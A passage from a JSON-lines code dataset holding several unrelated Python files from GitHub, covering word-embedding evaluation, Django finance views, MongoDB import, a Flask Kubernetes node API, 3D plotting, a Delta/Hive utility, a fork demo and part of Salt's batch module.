\t\t\timport evaluate_analogy\nfrom lib.operations \timport align, avg\nfrom lib.util\t\t\timport get_filename\nfrom lib.prepare\t \timport bootstrap_corpus, shuffle_corpus, concatenate_files \n\n#-------------------------------------------------------------------------------------------------------------------\n# Experiments\n#-------------------------------------------------------------------------------------------------------------------\n\nlanguages = ['english', 'german', 'latin', 'swedish']\nmodels = ['fasttext', 'word2vec', 'glove']\nmodel_types = {'word2vec': ['skipgram'], 'fasttext': ['skipgram'], 'glove': [None]}\ncorpora = ['corpus1', 'corpus2']\n\n\nmodels = ['fasttext', 'word2vec']\n\nsizes = [32]\nmax_run_num = 32\n\nres = dict()\nfor model in models:\n\tfor language in languages:\n\t\tfor model_type in model_types[model]:\n\t\t\tfor size in sizes:\n\n\t\t\t\tspecific_results = list()\n\n\t\t\t\t\n\t\t\t\t# Task 1\n\t\t\t\tans_folder = '/home/rettenls/data/experiments/semeval/golden_data/answer/task1/'\n\t\t\t\tanswer_file_name = ans_folder + language + '.txt'\n\t\t\t\tanswer_file = open(answer_file_name, 'r').readlines()\n\t\t\t\tanswer_words = list()\n\t\t\t\tanswer_bin = list()\n\t\t\t\tfor line in answer_file:\n\t\t\t\t\tdata = line.split('\\t')\n\t\t\t\t\tanswer_words.append(data[0])\n\t\t\t\t\tanswer_bin.append(int(data[1][:-1]))\n\t\t\t\tanswer_bin = np.array(answer_bin)\n\n\t\t\t\t# Task 2\n\t\t\t\tans_folder = '/home/rettenls/data/experiments/semeval/golden_data/answer/task2/'\n\t\t\t\tanswer_file_name = ans_folder + language + '.txt'\n\t\t\t\tanswer_file = open(answer_file_name, 'r').readlines()\n\t\t\t\tanswer_scores = list()\n\t\t\t\tfor line in answer_file:\n\t\t\t\t\tdata = line.split('\\t')\n\t\t\t\t\tanswer_scores.append(float(data[1][:-1]))\n\n\t\t\t\t# SHUFFLE\n\n\t\t\t\tdata_type = 'shuffle'\n\t\t\t\tif model_type is None:\n\t\t\t\t\tfolder1 = exp_folder + language + '/' + corpora[0] + '/' + model + '/' + data_type\n\t\t\t\telse:\n\t\t\t\t\tfolder1 = exp_folder + language + '/' + corpora[0] + '/' + model + '/' + model_type + '/' + data_type\n\n\t\t\t\tif model_type is None:\n\t\t\t\t\tfolder2 = exp_folder + language + '/' + corpora[1] + '/' + model + '/' + data_type\n\t\t\t\telse:\n\t\t\t\t\tfolder2 = exp_folder + language + '/' + corpora[1] + '/' + model + '/' + model_type + '/' + data_type\n\t\t\n\t\t\t\trun_folder1 = folder1 + '/merge_{:04d}_run_{:04d}'.format(size, 0)\n\t\t\t\trun_folder2 = folder2 + '/merge_{:04d}_run_{:04d}'.format(size, 0)\n\n\t\t\t\tm1s = Model(model)\n\t\t\t\tm1s.load(run_folder1)\n\n\t\t\t\tm2s = Model(model)\n\t\t\t\tm2s.load(run_folder2)\n\n\t\t\t\t# BOOTSTRAP\n\n\t\t\t\tdata_type = 'bootstrap'\n\n\t\t\t\tif model_type is None:\n\t\t\t\t\tfolder1 = exp_folder + language + '/' + corpora[0] + '/' + model + '/' + data_type\n\t\t\t\telse:\n\t\t\t\t\tfolder1 = exp_folder + language + '/' + corpora[0] + '/' + model + '/' + model_type + '/' + data_type\n\n\t\t\t\tif model_type is None:\n\t\t\t\t\tfolder2 = exp_folder + language + '/' + corpora[1] + '/' + model + '/' + data_type\n\t\t\t\telse:\n\t\t\t\t\tfolder2 = exp_folder + language + '/' + corpora[1] + '/' + model + '/' + model_type + '/' + data_type\n\n\t\t\t\trun_folder1 = folder1 + '/merge_{:04d}_run_{:04d}'.format(size, 0)\n\t\t\t\trun_folder2 = folder2 + '/merge_{:04d}_run_{:04d}'.format(size, 0)\n\n\t\t\t\tm1b = Model(model)\n\t\t\t\tm1b.load(run_folder1)\n\n\t\t\t\tm2b = Model(model)\n\t\t\t\tm2b.load(run_folder2)\n\n\t\t\t\tm1s,m1b,joint = align(m1s,m1b)\n\t\t\t\tt = Transformation('orthogonal', train_at_init = True, model1 = m1s, model2 = m1b, joint = joint)\n\t\t\t\tm1 = avg(t.apply_to(m1s),m1b)\t\n\n\t\t\t\tm2s,m2b,joint = align(m2s,m2b)\n\t\t\t\tt = Transformation('orthogonal', train_at_init = True, model1 = m2s, model2 = m2b, joint = joint)\n\t\t\t\tm2 = avg(t.apply_to(m2s),m2b)\t\n\n\n\t\t\t\tm1.normalize()\n\t\t\t\tm2.normalize()\n\n\t\t\t\tm1,m2,joint = align(m1,m2)\n\t\t\t\teval_indices = [m1.indices[w] for w in answer_words]\n\t\t\t\tt = Transformation('orthogonal', train_at_init = True, model1 = m1, model2 = m2, joint = joint)\t\t\t\t\t\t\n\t\t\t\t\n\t\t\t\tdisp = 1 - get_cosine_similarity(t.apply_to(m1), m2, word_indices = joint)\n\t\t\t\ttreshold = np.mean(disp) + 0.5 * np.std(disp)\n\n\t\t\t\tbinary = np.array([int(disp[i] > treshold) for i in eval_indices])\n\t\t\t\tranking = np.array([disp[i] for i in eval_indices])\n\t\n\t\t\t\tprint(model + '_' + language + '_' + data_type + '_' + str(size), np.mean(binary == answer_bin), spearmanr(answer_scores, ranking)[0])\n\t\t\t\tres[model + '_' + language + '_' + data_type + '_' + str(size)] = (np.mean(binary == answer_bin), spearmanr(answer_scores, ranking)[0])\n","repo_name":"lucasrettenmeier/word-embedding-stability","sub_path":"thesis/10 - SemEval/6 - Trying something crazy.py","file_name":"6 - Trying something crazy.py","file_ext":"py","file_size_in_byte":5498,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"29297639466","text":"from django.shortcuts import render, get_object_or_404, redirect\nfrom django.views.generic import ListView, CreateView, UpdateView\nfrom django.contrib.auth.decorators import login_required\nfrom django.utils.decorators import method_decorator\nfrom django.urls import reverse_lazy, reverse\nfrom django.contrib import messages\n\nfrom .models import Portfolio, Ticker, Group\nfrom .form import UserTickerForm, TickerForm, GroupForm, PortFolioForm\n\n\nfrom .get_stock_data import read_data, check_if_file_exists\nimport pandas as pd\nfrom scipy.stats import norm\n\n\ndef portofolio_view(request, id):\n context = dict()\n instance = get_object_or_404(Portfolio, id=id)\n instance.calculate_returns_and_volatility()\n portForm = PortFolioForm(request.POST or None, instance=instance)\n if portForm.is_valid():\n portForm.save()\n return redirect(instance.get_absolute_url())\n context['instance'] = instance\n create_form = UserTickerForm(request.POST or None, initial={'portfolio': instance})\n context['create_form'] = create_form\n context['ticker_form'] = TickerForm()\n context['portForm'] = portForm\n if create_form.is_valid():\n create_form.save()\n return redirect(instance.get_absolute_url())\n ids = []\n forecast_data = []\n for tic in instance.tickers.all():\n ids.append(tic.ticker.id)\n forecast_data.append([tic, tic.ticker.forecast()])\n context['forecast_data'] = forecast_data\n context['tickers'] = Ticker.objects.all()[:100]\n return render(request, 'portfolio.html', context)\n\n\nclass TickerListView(ListView):\n model = Ticker\n paginate_by = 20\n template_name = 'ticker_list_view.html'\n queryset = Ticker.objects.all()\n\n def get_queryset(self):\n return Ticker.filter_data(self.request)\n\n def get_context_data(self, **kwargs):\n context = super(TickerListView, self).get_context_data(**kwargs)\n context['groups'] = Group.objects.all()\n context['ticker_form'] = TickerForm()\n context['group_form'] = GroupForm()\n\n return context\n\n\n@method_decorator(login_required, name='dispatch')\nclass TickerUpdateView(UpdateView):\n template_name = 'tickers/update_view.html'\n model = Ticker\n form_class = TickerForm\n success_url = reverse_lazy('portfolio:ticker_list_view')\n queryset = Ticker.objects.all()\n\n def get_context_data(self, **kwargs):\n context = super(TickerUpdateView, self).get_context_data(**kwargs)\n file_exists = check_if_file_exists(self.object.ticker)\n\n if file_exists:\n print('file exists')\n context['macd'], context['safe_line'], context['tick'] = self.object.calculate_macd()\n df_sma = self.object.bb()\n df_sma.dropna(inplace=True)\n df_sma = [df_sma.columns.tolist()] + df_sma.reset_index().values.tolist()\n\n df = self.object.create_data_for_chart()\n df = [df.columns.tolist()] + df.reset_index().values.tolist()\n new_list, new_sma_list = [], []\n for ele in df:\n if self.object.ticker in ele:\n continue\n else:\n new_list.append(ele)\n for ele in df_sma:\n new_sma_list.append(ele) if self.object.ticker in ele else ''\n\n context['df_sma'] = df_sma\n context['chart_data'] = new_list\n context['delete_url'] = self.object.get_delete_url()\n context['graph'] = self.object.monte_carlo_simulation()\n context['ticker_avg'] = self.object.calculate_averages()\n context['drop_5_prop'] = self.object.calculate_probability_of_drop(0.05)\n context['gain_5_prop'] = self.object.calculate_probability_of_drop(-0.05)\n\n else:\n messages.warning(self.request, f'Code {self.object.ticker} dont exist on yahoo database')\n\n return context\n\n def form_valid(self, form):\n form.save()\n return super(TickerUpdateView, self).form_valid(form)\n\n\n@login_required\ndef ticker_delete_view(request, id):\n ticker = get_object_or_404(Ticker, id=id, user=request.user)\n ticker.delete()\n return redirect('portfolio:ticker_list_view')\n\n\n@method_decorator(login_required, name='dispatch')\nclass PortfoliosListView(ListView):\n template_name = 'portfolios_list_view.html'\n model = Portfolio\n paginate_by = 50\n\n def get_queryset(self):\n user = self.request.user\n return Portfolio.objects.filter(user=user)\n\n def get_context_data(self, **kwargs):\n context = super(PortfoliosListView, self).get_context_data(**kwargs)\n context['form'] = PortFolioForm(self.request.POST or None, initial={'user': self.request.user})\n\n return context\n\n\n@login_required\ndef portfolio_delete_view(request, pk):\n obj = get_object_or_404(Portfolio, id=pk, user=request.user)\n obj.delete()\n return redirect(reverse('homepage'))\n\n\ndef calculate_relative_strength_index_view(request):\n tickers = Ticker.objects.all()[:10]\n for ticker in tickers:\n df = read_data(ticker.ticker)\n\n\n","repo_name":"Zefarak/finace-app","sub_path":"tickers/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5078,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"25432362254","text":"import os\nfrom os.path import isfile, join\nimport json\nimport pymongo\nfrom pymongo import MongoClient\nimport pandas\n\n\ndef import_file(pth, fname):\n coll_name = fname.replace('.json', '')\n print(fname, coll_name)\n client = MongoClient()\n db = client['northwind']\n\n with open(join(pth,fname)) as f:\n coll = db[coll_name]\n data = json.load(f)\n coll.insert_many(data)\n print(f'inserted collection {coll_name} - {len(data)}')\n\n client.close()\n\n\ndef list_collections():\n client = MongoClient()\n db = client['northwind']\n colls = db.list_collections()\n for c in colls:\n print(c['name'])\n\n\ndef show_collection(coll_name):\n client = MongoClient()\n db = client['northwind']\n coll = db[coll_name]\n ret = coll.find()\n for r in ret:\n print(r)\n\n\n# Press the green button in the gutter to run the script.\nif __name__ == '__main__':\n # pth = 'C:\\Dev\\_csharp-graphql-mongo-demo\\python-import\\data-json'\n # files = [fl for fl in os.listdir(pth) if isfile(join(pth, fl))]\n # for fl in files:\n # import_file(pth, fl)\n #\n # list_collections()\n\n show_collection('salesOrder')","repo_name":"dbaranau/csharp-graphql-mongo-demo","sub_path":"python-import/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"7282249002","text":"from flask import request\nimport flask\nfrom common import *\nimport etcd\nfrom flask_restful import Resource\nimport json\nimport copy\nfrom kubernetes import KubernetesError, ResourceType\nfrom exception import *\nfrom log import LOG\nimport os\n\n\nclass PaasNode:\n def __init__(self, node_spec, node_status):\n public_addr = node_spec.labels.get('idevops.node.public-address', None)\n\n self.data = {\n 'name': node_spec.name,\n 'labels': copy.deepcopy(node_spec.labels),\n 'IP': node_status['name'],\n 'ready': node_spec.is_ready(),\n 'unschedulable': node_spec.spec.unschedulable,\n 'public_address': public_addr if public_addr else node_spec.name\n }\n self.data.update(node_status)\n\n def dump_as_dict(self):\n return self.data\n\n\ndef get_node_list():\n node_list = kube_client.GetNodes()\n node_dict = {node.name: node for node in node_list}\n\n key = '/paas/nodes/1.1'\n ret = list()\n try:\n value = etcd_client.read(key)\n except etcd.EtcdKeyNotFound as e:\n return ret\n\n for sub_item in value._children:\n raw = json.loads(sub_item['value'])\n if raw['name'] not in node_dict:\n continue\n\n paas_node = PaasNode(node_dict[raw['name']], raw)\n ret.append(paas_node)\n\n return ret\n\n\ndef get_node(name):\n k8s_nodes = kube_client.GetNodes()\n k8s_node = None\n for item in k8s_nodes:\n if item.name == name:\n k8s_node = item\n break\n if k8s_node is None:\n raise NodeNotFound(name)\n\n key = '/paas/nodes/1.1/{}'.format(name)\n value = etcd_client.read(key).value\n return PaasNode(k8s_node, json.loads(value))\n\ndef get_master_list():\n ret = list()\n try:\n value = etcd_client.read('/paas/masters/1.1')\n except etcd.EtcdKeyNotFound as e:\n return ret\n\n return [json.loads(sub_item['value']) for sub_item in value._children]\n\n\ndef get_master(name):\n key = '/paas/masters/1.1/{}'.format(name)\n value = etcd_client.read(key).value\n return json.loads(value)\n\n\nclass NodeListV1_1(Resource):\n @check_license\n def get(self):\n node_list = get_node_list()\n data = {\n 'kind': 'NodeList',\n 'items': [n.dump_as_dict() for n in node_list]\n }\n response = flask.make_response(json.dumps(data))\n response.headers['Access-Control-Allow-Origin'] = '*'\n return response\n\n\nclass ApiNodeV1_1(Resource):\n @check_license\n def get(self, name):\n try:\n node = get_node(name)\n response_data = node.dump_as_dict()\n response_data['kind'] = 'Node'\n response = flask.make_response(json.dumps(response_data))\n response.headers['Access-Control-Allow-Origin'] = '*'\n return response\n except NodeNotFound as e:\n response_json = {'kind': 'Status', 'code': 404, 'message': 'Can not find the node'}\n response = flask.make_response(json.dumps(response_json))\n response.headers['Access-Control-Allow-Origin'] = '*'\n return response\n except Exception as e:\n LOG.error(e)\n response_data = {'kind': 'Status', 'code': 500, 'message': 'internal server error'}\n response = flask.make_response(json.dumps(response_data))\n response.headers['Access-Control-Allow-Origin'] = '*'\n return response\n\n @check_license\n def patch(self, name):\n LOG.info('Start patching node <{}>'.format(name))\n data = request.get_json(force = True)\n if data is None:\n response_data = {'kind': 'Status', 'code': 400, 'message': 'Nod data or the data format is not a valid json'}\n response = flask.make_response(json.dumps(response_data))\n response.headers['Access-Control-Allow-Origin'] = '*'\n return response\n if request.content_type == 'application/json-patch+json':\n return self.__handle_json_patch(name, data)\n elif request.content_type == 'application/merge-patch+json':\n try:\n kube_client.AddLabel(ResourceType.Node, name)\n except Exception as e:\n LOG.error(str(e))\n response_data = {'kind': 'Status', 'code': 400, 'message': 'Can not add labels for the node'}\n response = flask.make_response(json.dumps(response_data))\n response.headers['Access-Control-Allow-Origin'] = '*'\n return response\n elif request.content_type == 'application/json-patch+json':\n pass\n else:\n response_data = {'kind': 'Status', 'code': 400, 'message': 'Bad http headers'}\n response = flask.make_response(json.dumps(response_data))\n response.headers['Access-Control-Allow-Origin'] = '*'\n return response\n\n response_data = {'kind': 'Status', 'code': 200, 'message': 'ok'}\n response = flask.make_response(json.dumps(response_data))\n response.headers['Access-Control-Allow-Origin'] = '*'\n return response\n\n def __handle_json_patch(self, name, data):\n response_data = {'kind': 'Status', 'code': 200, 'message': 'ok'}\n add_labels = {}\n remove_labels = []\n for elem in data:\n if elem['op'] not in ['add', 'remove'] or \\\n os.path.dirname(elem['path']) != '/labels' or \\\n os.path.basename(elem['path']) == '':\n response_data['code'] = 400\n response_data['message'] = 'The resource can not be patched'\n response = flask.make_response(json.dumps(response_data))\n response.headers['Access-Control-Allow-Origin'] = '*'\n return response\n if elem['op'] == 'add':\n if 'value' not in elem or \\\n (not isinstance(elem['value'], str) and not isinstance(elem['value'], unicode)):\n response_data['code'] = 400\n response_data['message'] = 'The resource can not be patched'\n response = flask.make_response(json.dumps(response_data))\n response.headers['Access-Control-Allow-Origin'] = '*'\n return response\n add_labels[os.path.basename(elem['path'])] = elem['value']\n else:\n remove_labels.append(os.path.basename(elem['path']))\n\n kube_client.AddLabel(ResourceType.Node, name, add_labels)\n kube_client.RemoveLabel(ResourceType.Node, name, remove_labels)\n response = flask.make_response(json.dumps(response_data))\n response.headers['Access-Control-Allow-Origin'] = '*'\n return response\n\nclass MasterListV1_1(Resource):\n @check_license\n def get(self):\n data = {\n 'kind': 'MasterList',\n 'items': get_master_list()\n }\n response = flask.make_response(json.dumps(data))\n response.headers['Access-Control-Allow-Origin'] = '*'\n return response\n\n\nclass ApiMasterV1_1(Resource):\n @check_license\n def get(self, name):\n try:\n response_data = get_master(name)\n response_data['kind'] = 'Master'\n response = flask.make_response(json.dumps(response_data))\n response.headers['Access-Control-Allow-Origin'] = '*'\n return response\n except NodeNotFound as e:\n response_json = {'kind': 'Status', 'code': 404, 'message': 'Can not find the node'}\n response = flask.make_response(json.dumps(response_json))\n response.headers['Access-Control-Allow-Origin'] = '*'\n return response\n except Exception as e:\n LOG.error(e)\n response_data = {'kind': 'Status', 'code': 500, 'message': 'internal server error'}\n response = flask.make_response(json.dumps(response_data))\n response.headers['Access-Control-Allow-Origin'] = '*'\n return response\n","repo_name":"idevopscloud/paas-api","sub_path":"src/api/v1/node_v1_1.py","file_name":"node_v1_1.py","file_ext":"py","file_size_in_byte":7995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"24621101233","text":"import k3d\nimport os\nfrom typing import Optional,Union\nimport numpy as np\n# import pyvista as pv\nimport anndata as ad\n# from scipy.sparse import issparse\n# import matplotlib.pyplot as plt\nimport pandas as pd\nfrom k3d.colormaps import matplotlib_color_maps\nimport scanpy as sc\n\n############ plot_cloud_point ###############\ndef plot_cloud_point(adata: ad.AnnData, \n spatial_key: str='3d_align_spatial',\n anno: str='region',\n color_anno: str='color_anno',\n color_map: Optional[dict] = None,\n point_size: Union[float, list] = 20,\n save_path: Optional[str] = None\n):\n \"\"\"\n Transform h5ad file into input format required by 3D analysis pipeline.\n\n Args: \n adata_list: adata list which have been aligned.\n spatial_key: The column key in .obsm, default is '3d_align_spatial'.\n anno: gene name or obs name that identifies the grouping information(for example, clusters that correspond to different cell types)of spots.\n color_anno: the key in .uns, corresponds to a dictionary that map group names to group colors. \n color_map: a dictionary that map group names to group Hexadecimal colors, optional.\n\n Returns:\n plot cloud point.\n \"\"\"\n \n position_s = adata.obsm['3d_align_spatial']\n color_s = [color_map[i] for i in adata.obs[anno].tolist()]\n point_size_s = [i**0.5 for i in adata.obs['area'].tolist()]\n \n plot = k3d.plot()\n # for i in range(len(point_size_s)):\n # # c =\n # plt_points = k3d.points(positions = position_s[i],\n # color = int(color_s[i][1:], 16),\n # point_size = point_size_s[i],\n # shader='3dSpecular',\n # opacity = 1,\n # name = adata.obs[anno].tolist()[i],\n # )\n # plot+=plt_points\n \n plt_points = k3d.points(positions = position_s,\n # color = int(color_s[i][1:], 16),\n colors = [int(i[1:], 16) for i in color_s],\n point_sizes = point_size_s,\n shader='3dSpecular',\n opacity = 1,\n # name = adata.obs[anno].tolist()[i],\n )\n plot+=plt_points\n \n with open(save_path,'w') as fp:\n fp.write(plot.get_snapshot())\n return plot\n\n\ndef plot_gene_cloud_point(adata: ad.AnnData, \n spatial_key: str='3d_align_spatial',\n gene_name: str='region',\n point_size: Union[float, list] = 20,\n save_path: Optional[str] = None\n):\n \"\"\"\n Transform h5ad file into input format required by 3D analysis pipeline.\n\n Args: \n adata_list: adata list which have been aligned.\n spatial_key: The column key in .obsm, default is '3d_align_spatial'.\n anno: gene name or obs name that identifies the grouping information(for example, clusters that correspond to different cell types)of spots.\n color_anno: the key in .uns, corresponds to a dictionary that map group names to group colors. \n color_map: a dictionary that map group names to group Hexadecimal colors, optional.\n\n Returns:\n plot cloud point.\n \"\"\"\n adata = adata[:,adata.var_names==gene_name]\n adata = adata[adata.obs['region'] != 'meninges']\n sc.pp.filter_genes(adata,min_cells = 5)\n vals = adata.obsm[spatial_key]\n sc.pp.normalize_total(adata, target_sum=1e4)\n sc.pp.log1p(adata)\n f = adata.X.toarray().reshape(422035 )\n point_size_s = [i**0.5 for i in adata.obs['area'].tolist()]\n plt_points = k3d.points(positions=vals,\n color_map=matplotlib_color_maps.Coolwarm,\n point_sizes = point_size_s,\n shader='3dSpecular',\n # opacity=0.7,\n opacities = f + 0.3,\n attribute=f,\n )\n plot = k3d.plot()\n plot += plt_points\n with open(save_path,'w') as fp:\n fp.write(plot.get_snapshot())\n return plot\n\n\nif __name__ == '__main__':\n # adata = ad.read_h5ad('C:/七鳃鳗/3d/lamprey_spateo.h5ad')\n adata = ad.read_h5ad('C:/七鳃鳗/3d/lamprey_3d.h5ad')\n # sregion = adata.obs['region'].tolist()\n # sregion = ['motor_nucleus_of_VII' if x=='motor_nucleus_of_Ⅶ' else x for x in region]\n # sregion = ['nucleus_of_X' if x=='nucleus_of_Ⅹ' else x for x in region]\n # adata.obs['region'] = region\n csv = pd.read_excel('C:/Users/zepoch/Downloads/brainRegion.xlsx')\n spot_color = {}\n for i in range(50):\n Brain_Region = csv['Brain_Region'][i].replace(' ','_')\n spot_color[Brain_Region] = '#'+str(csv['color'][i])\n \n # adata_all = []\n # for i in range(1,41):\n # temp = adata[adata.obs['slices'] == str(i)]\n # adata_all.append(temp)\n\n # adata_all[18].obsm['3d_align_spatial'] = np.array([adata_all[18].obsm['3d_align_spatial'][:,0], \n # adata_all[18].obsm['3d_align_spatial'][:,1] - 200,\n # adata_all[18].obsm['3d_align_spatial'][:,2]]).T\n # adata_all[19].obsm['3d_align_spatial'] = np.array([adata_all[19].obsm['3d_align_spatial'][:,0], \n # adata_all[19].obsm['3d_align_spatial'][:,1] - 200,\n # adata_all[19].obsm['3d_align_spatial'][:,2]]).T\n # for i in range(21, 40):\n # adata_all[i].obsm['3d_align_spatial'] = np.array([adata_all[i].obsm['3d_align_spatial'][:,0], \n # adata_all[i].obsm['3d_align_spatial'][:,1] - (40 * i),\n # adata_all[i].obsm['3d_align_spatial'][:,2]]).T\n # adata = sc.AnnData.concatenate(*adata_all)\n # adata.write('C:/七鳃鳗/3d/lamprey_3d.h5ad')\n # plot_gene_cloud_point(adata, gene_name = 'nbisL1-mrna-16506', save_path = 'C:/七鳃鳗/3d/gene_plt.html')\n # plot_cloud_point(adata, color_map = spot_color, save_path = 'C:/七鳃鳗/3d/plot_size.html')\n # csv = pd.read_excel('C:/七鳃鳗/3d/lamprey_brain_marker.xlsx')\n # for i in csv.geneID:\n # try:\n # plot_gene_cloud_point(adata, gene_name = i, save_path = 'C:/七鳃鳗/3d/lamprey_brain_marker/'+ i + '.html')\n # except:\n # continue\n # plot_gene_cloud_point(adata, gene_name = i, save_path = 'C:/七鳃鳗/3d/MSTRG.2359.html')\n import pandas as pd\n csv = pd.read_csv('C:/Users/zepoch/Downloads/hs_results.csv')\n gene_list = csv.Gene[:30].tolist()\n for i in gene_list:\n plot_gene_cloud_point(adata, gene_name = i, save_path = 'C:/七鳃鳗/SVG/' + i +'.html')","repo_name":"zEpoch/3DST","sub_path":"3DST/3DST.py","file_name":"3DST.py","file_ext":"py","file_size_in_byte":7038,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"11518617019","text":"\"\"\"\nModule that contains the command line app.\n\nWhy does this file exist, and why not put this in __main__?\n\n You might be tempted to import things from __main__ later, but that will cause\n problems: the code will get executed twice:\n\n - When you run `python -m delta_hive_connector_utility` python will execute\n ``__main__.py`` as a script. That means there won't be any\n ``delta_hive_connector_utility.__main__`` in ``sys.modules``.\n - When you import __main__ it will get executed again (as a module) because\n there's no ``delta_hive_connector_utility.__main__`` in ``sys.modules``.\n\n Also see (1) from http://click.pocoo.org/5/setuptools/#setuptools-integration\n\"\"\"\nimport pyspark\nfrom pyspark import SparkConf\nfrom pyspark.sql import SparkSession\nfrom delta import *\nfrom typing import List, Optional\nfrom beeline_utils.drop_table import drop_table\nfrom beeline_utils.external_table_gen import external_table_gen\nfrom beeline_utils.select_table import select_table\n# import typer\n# from typing_extensions import Annotated\n\n# main = typer.Typer()\n\n\n# @main.command()\n#names: Annotated[Optional[List[str]], typer.Argument()] = None\ndef main():\n database = \"lab_stanley_db\"\n source_table = \"transaction_record_partitioned\"\n sink_table = \"delta_auto_demo\"\n delta_path = \"s3://labstanleybucket/spark_sql_warehouse/lab_stanley_db.db\"\n\n # os.environ[\"SPARK_HOME\"] = \"/usr/lib/spark\" \n # os.environ[\"HADOOP_CONF_DIR\"] = \"/etc/hadoop/conf\"\n\n spark = configure_spark()\n\n spark.sql(f\"DROP TABLE IF EXISTS {database}.{sink_table}\")\n drop_table(database, sink_table+\"_external\")\n\n df = spark.sql(f\"select * from {database}.{source_table}\")\n\n df.write.format(\"delta\").mode(\"overwrite\").partitionBy('event_date').saveAsTable(f'{database}.{sink_table}')\n\n dst = spark.sql(f\"select * from {database}.{sink_table}\")\n print(f\"\\n {sink_table} write result \\n\")\n dst.show()\n\n # Generate external table\n external_table_gen(delta_path, sink_table, df.schema)\n\n # beeline commands\n sql_commands = [\n f\"SELECT * FROM {database}.{sink_table}_external LIMIT 10;\",\n f\"SELECT COUNT(*) FROM {database}.{sink_table}_external WHERE event_date = '2023-06';\",\n f\"SELECT amount, COUNT(*) AS count FROM {database}.{sink_table}_external GROUP BY amount;\",\n f\"SELECT event_date, SUM(amount) AS total_sales FROM {database}.{sink_table}_external GROUP BY event_date;\"\n ]\n select_table(database, set_hive_connector=True, sql_cmd=sql_commands)\n\n drop_table(database, sink_table)\n\ndef configure_spark():\n conf = SparkConf().setAppName(\"app\").setMaster(\"yarn\") \\\n .set(\"spark.sql.sources.partitionOverwriteMode\", \"dynamic\") \\\n .set(\"spark.hive.exec.dynamic.partition\", \"true\") \\\n .set(\"spark.hive.exec.dynamic.partition.mode\", \"nonstrict\") \\\n .set(\"spark.hive.exec.max.dynamic.partitions.pernode\", \"300\") \\\n .set(\"spark.hive.metastore.warehouse.dir.\", \"s3://labstanleybucket/spark_sql_warehouse/\") \n\n builder = pyspark.sql.SparkSession.builder \\\n .config(conf=conf) \\\n .config(\"spark.driver.memory\", \"1g\") \\\n .config(\"spark.executor.memory\", \"1g\") \\\n .config(\"spark.executor.cores\", \"1\") \\\n .config(\"spark.executor.instances\", \"1\") \\\n .config(\"spark.dynamicAllocation.enabled\", \"false\") \\\n .enableHiveSupport() \\\n .config(\"spark.sql.extensions\", \"io.delta.sql.DeltaSparkSessionExtension\") \\\n .config(\"spark.sql.catalog.spark_catalog\", \"org.apache.spark.sql.delta.catalog.DeltaCatalog\")\n\n spark = configure_spark_with_delta_pip(builder).getOrCreate()\n\n return spark","repo_name":"Stanley-deng/Delta-Hive-Utility","sub_path":"src/delta_hive_connector_utility/auto_delta.py","file_name":"auto_delta.py","file_ext":"py","file_size_in_byte":3640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"33252490851","text":"import os \nfrom time import sleep\n\ndef f1():\n sleep(3)\n print(\"事件1....\")\n\ndef f2():\n sleep(4)\n print(\"事件2.....\")\n\npid = os.fork()\nif pid<0:\n print(\"Create process failed\")\nelif pid == 0:\n p = os.fork()\n if p == 0:\n f2()\n else :\n os._exit(0)\n\nelse :\n os.wait() # 等待一级子进程退出\n f1() # 执行事件","repo_name":"wangredfei/nt_py","sub_path":"pythonNet/ex05_fork/child.py","file_name":"child.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"12845900674","text":"\"\"\"\nExecute batch runs\n\"\"\"\n\nimport copy\nimport logging\nimport math\nimport time\nfrom datetime import datetime, timedelta\n\nimport salt.client\nimport salt.exceptions\nimport salt.output\nimport salt.utils.stringutils\n\nlog = logging.getLogger(__name__)\n\n\nclass Batch:\n \"\"\"\n Manage the execution of batch runs\n\n \"\"\"\n\n def __init__(self, opts, eauth=None, quiet=False, _parser=None):\n \"\"\"\n :param dict opts: A config options dictionary.\n\n :param dict eauth: An eauth config to use.\n\n The default is an empty dict.\n\n :param bool quiet: Suppress printing to stdout\n\n The default is False.\n \"\"\"\n self.opts = opts\n self.eauth = eauth if eauth else {}\n self.pub_kwargs = eauth if eauth else {}\n self.quiet = quiet\n self.options = _parser\n # Passing listen True to local client will prevent it from purging\n # cahced events while iterating over the batches.\n self.local = salt.client.get_local_client(opts[\"conf_file\"], listen=True)\n\n def gather_minions(self):\n \"\"\"\n Return a list of minions to use for the batch run\n \"\"\"\n args = [\n self.opts[\"tgt\"],\n \"test.ping\",\n [],\n self.opts[\"timeout\"],\n ]\n\n selected_target_option = self.opts.get(\"selected_target_option\", None)\n if selected_target_option is not None:\n args.append(selected_target_option)\n else:\n args.append(self.opts.get(\"tgt_type\", \"glob\"))\n\n self.pub_kwargs[\"yield_pub_data\"] = True\n ping_gen = self.local.cmd_iter(\n *args, gather_job_timeout=self.opts[\"gather_job_timeout\"], **self.pub_kwargs\n )\n\n # Broadcast to targets\n fret = set()\n nret = set()\n for ret in ping_gen:\n if (\"minions\" and \"jid\") in ret:\n for minion in ret[\"minions\"]:\n nret.add(minion)\n continue\n else:\n try:\n m = next(iter(ret.keys()))\n except StopIteration:\n if not self.quiet:\n salt.utils.stringutils.print_cli(\n \"No minions matched the target.\"\n )\n break\n if m is not None:\n fret.add(m)\n return (list(fret), ping_gen, nret.difference(fret))\n\n def get_bnum(self):\n \"\"\"\n Return the active number of minions to maintain\n \"\"\"\n partition = lambda x: float(x) / 100.0 * len(self.minions)\n try:\n if isinstance(self.opts[\"batch\"], str) and \"%\" in self.opts[\"batch\"]:\n res = partition(float(self.opts[\"batch\"].strip(\"%\")))\n if res < 1:\n return int(math.ceil(res))\n else:\n return int(res)\n else:\n return int(self.opts[\"batch\"])\n except ValueError:\n if not self.quiet:\n salt.utils.stringutils.print_cli(\n \"Invalid batch data sent: {}\\nData must be in the \"\n \"form of %10, 10% or 3\".format(self.opts[\"batch\"])\n )\n\n def 